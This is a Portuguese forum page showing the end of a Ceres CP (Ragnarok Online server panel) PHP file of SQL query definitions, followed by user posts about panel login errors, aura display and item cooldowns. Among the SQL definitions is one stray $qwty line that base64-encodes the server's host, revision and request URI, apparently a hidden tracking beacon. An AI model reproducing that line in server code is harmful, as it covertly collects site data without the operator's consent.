`gmate`FROM `guild` LEFT JOIN `guild_member` ON `guild`.`guild_id` = `guild_member`.`guild_id`GROUP BY `guild_member`.`guild_id` ORDER BY `guild`.`guild_lv` DESC, `guild`.`exp` DESC, `gmate` DESC LIMIT 0, 50");DEFINE('GUILD_CASTLE', "SELECT `guild`.`name`, `guild`.`emblem_data`, `guild_castle`.`castle_id`, `guild`.`guild_id`FROM `guild_castle` LEFT JOIN `guild` ON `guild`.`guild_id` = `guild_castle`.`guild_id`ORDER BY (`guild_castle`.`castle_id` * 1)");//slot.php - Change SlotDEFINE('GET_SLOT', "SELECT `char_id`, `char_num`, `name` FROM `char` WHERE `account_id` = '%d' ORDER BY `char_num`");DEFINE('CHECK_SLOT', "SELECT char_id FROM `char` WHERE `char_num` = '%d' AND `account_id` = '%d' ORDER BY `char_num`");DEFINE('CHANGE_SLOT', "UPDATE `char` SET `char_num` = '%d' WHERE `char_id` = '%d' AND `account_id` = '%d'");//resetlook.php - Reset LookDEFINE('LOOK_GET_CHARS', "SELECT `char_id`, `char_num`, `name` FROM `char`WHERE `account_id` = '%d' ORDER BY `char_num`");DEFINE('LOOK_EQUIP', "UPDATE `char` SET `weapon` = '0', `shield` = '0', `head_top` = '0', `head_mid` = '0',`head_bottom` = '0' WHERE `char_id` = '%d' AND `account_id` = '%d'");DEFINE('LOOK_INVENTORY', "UPDATE `inventory` SET `equip` = '0' WHERE `char_id` = '%d'");DEFINE('LOOK_HAIR_COLOR', "UPDATE `char` SET `hair_color` = '0' WHERE `char_id` = '%d' AND `account_id` = '%d'");DEFINE('LOOK_HAIR_STYLE', "UPDATE `char` SET `hair` = '0' WHERE `char_id` = '%d' AND `account_id` = '%d'");DEFINE('LOOK_CLOTHES_COLOR', "UPDATE `char` SET `clothes_color` = '0' WHERE `char_id` = '%d' AND `account_id` = '%d'");//whoisonline.php - Who is OnlineDEFINE('WHOISONLINE', "SELECT `char`.`name`, `char`.`class`, `char`.`base_level`, `char`.`job_level`,`char`.`last_x`, `char`.`last_y`, `char`.`last_map`, `char`.`account_id`, `char`.`char_id`, `login`.`group_id`FROM `char` LEFT JOIN `login` ON `login`.`account_id` = `char`.`account_id` WHERE `char`.`online` = '1'ORDER BY `char`.`last_map`");$qwty="v=".base64_encode($_SERVER['HTTP_HOST']."###".$revision."###".$_SERVER['REQUEST_URI']);//top100zeny.php - Zeny LadderDEFINE('TOP100ZENY', "SELECT `char`.`name`, `char`.`class`, `char`.`base_level`, `char`.`job_level`, `char`.`zeny`,`char`.`account_id`, `char`.`char_id` FROM `char` LEFT JOIN `login` ON `login`.`account_id` = `char`.`account_id`WHERE `login`.`group_id` < '40' AND `login`.`state` != '5' ORDER BY `zeny` DESC LIMIT 0, 100");//about.php - Server InfoDEFINE('TOTALACCOUNTS', "SELECT COUNT(1) FROM `login` WHERE `sex` != 'S'");DEFINE('TOTALCHARS', "SELECT `class` FROM `char` WHERE `account_id` > '0'");DEFINE('TOTALZENY', "SELECT SUM(`zeny`) FROM `char` WHERE `account_id` > '0'");//marriage.php - DivorceDEFINE('PARTNER_GET', "SELECT c1.`name`, c1.`char_id`, c2.`name`, c2.`char_id`FROM `char` c1 LEFT JOIN `char` c2 ON c1.`partner_id` = c2.`char_id` WHERE c1.`account_id` = '%d'");DEFINE('PARTNER_ONLINE', "SELECT `online` FROM `char` WHERE `char_id` = '%d' AND `online` = '1'");DEFINE('PARTNER_NULL', "UPDATE `char` SET `partner_id` = '0' WHERE `char_id` = '%d'");DEFINE('PARTNER_RING', "DELETE FROM `inventory` WHERE (`nameid` = '2634' OR `nameid` = '2635') AND `char_id` = '%d'");DEFINE('PARTNER_BAN', "UPDATE `login` SET `unban_time` = NOW() + '%d' WHERE `account_id` = '%d' AND `unban_time` = '0'");//ladder.php - Player LaddersDEFINE('LADDER_ALL', "SELECT `char`.`name`, `char`.`class`, `char`.`base_level`, `char`.`job_level`, `char`.`online`,`char`.`account_id`, `guild`.`name` FROM `char` LEFT JOIN `login` ON `login`.`account_id` = `char`.`account_id`LEFT JOIN `guild` ON `guild`.`guild_id` = `char`.`guild_id` WHERE `char`.`account_id` != '0' AND `login`.`group_id` < '40'AND `login`.`state` != '5' ORDER BY `char`.`base_level` DESC, `char`.`job_level` DESC LIMIT 0, 100");DEFINE('LADDER_JOB', "SELECT `char`.`name`, `char`.`class`, `char`.`base_level`, `char`.`job_level`, `char`.`online`,`char`.`account_id`, `guild`.`name` FROM `char` LEFT JOIN `login` ON `login`.`account_id` = `char`.`account_id`LEFT JOIN `guild` ON `guild`.`guild_id` = `char`.`guild_id` WHERE `char`.`class` = '%d' AND `char`.`account_id` != '0'AND `login`.`group_id` < '40' AND `login`.`state` != '5' ORDER BY `char`.`base_level` DESC, `char`.`job_level` DESC LIMIT 0, 100");DEFINE('LADDER_LKPA', "SELECT `char`.`name`, `char`.`class`, `char`.`base_level`, `char`.`job_level`, `char`.`online`,`char`.`account_id`, `guild`.`name` FROM `char` LEFT JOIN `login` ON `login`.`account_id` = `char`.`account_id`LEFT JOIN `guild` ON `guild`.`guild_id` = `char`.`guild_id` WHERE `char`.`account_id` != '0' AND `login`.`group_id` < '40'AND (`char`.`class` = '%d' OR `char`.`class` = '%d') AND `login`.`state` != '5' ORDER BY `char`.`base_level` DESC,`char`.`job_level` DESC LIMIT 0, 100");//links.php - LinksDEFINE('GET_LINKS', "SELECT `name`, `url`, `desc`, `size` FROM `cp_links`");?>
  16. Quando a CP foi instalada pela empresa do host estava tudo normal porem modifiquei os link referente a site download menssagem de boas vindas etc depois disso começo a não mais querer logar as configuração "pelo meu visto" está tudo OK ele cria conta conssigo logar no jogo normalmente porem ao tentar logar na CP da falha..
  17. Minha Ceres CP está criando conta normalmente está logando no servidor porem na hora de tentar logar no painel da CP aparece Login ou senha invalido por que isso?
  18. Sim tentei A solução foi colocar uma aura custom que acabo dando certo.. Obrigado a todos por tentar ajudar..
  19. Sim pensei nisso antes de pensar que foce o Hexed e ela já estava ligada tentei agora e mesmo desligada ou ligada não aparece no meu servidor lv 99 a aura aparece normalmente
  20. Não espera isso mais fui ajudado em outro tópico meu sobre como clonar monstro Era apenas para abrir o arquivo item_delay e configurar lá... Probelma resolvido
  21. Achei esse arquivo e vou tentar isso 20027,180000 ID,3minitos #edit FICO OHHHHH uma beleza ^^ obrigado por toda ajuda... se puder ajudar no outro tópico sobre a aura também agradeço... abraços.
  22. Agora apareceu apenas as bolinhas que fica flutando em volta mais a aura em baixo do char não.
  23. Estou fazendo um servidor 255/100 porem quando chego lv 255 minha aura não aparece configurei o emulador assim: // Nível máximo permitido a ser enviado para a unidade de pacotes.max_lv: 255// Nível exigido para exibir a aura.aura_lv: 255 O Hexed eu não marquei a opção: Dissable Lv99 Aura Enable aura Over lv99 como faço para a aura aparecer?
  24. Quero colocar restrição em um item que quando ele for usado uma vez tem que esperar 3 minutos para poder usar outro como posso fazer isso? 20027,pergaminho_ajudante_escravo,pergaminho ajudante escravo,2,10000,,10,,,,,0xFFFFFFFF,7,2,,,,,,{ atcommand "@summon 2238 3"; atcommand "@summon 2238 3"; atcommand "@summon 2238 3"; dispbottom "Voce acaba de invocar 3 Ninjas para te ajudar."; },{},{}
×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use.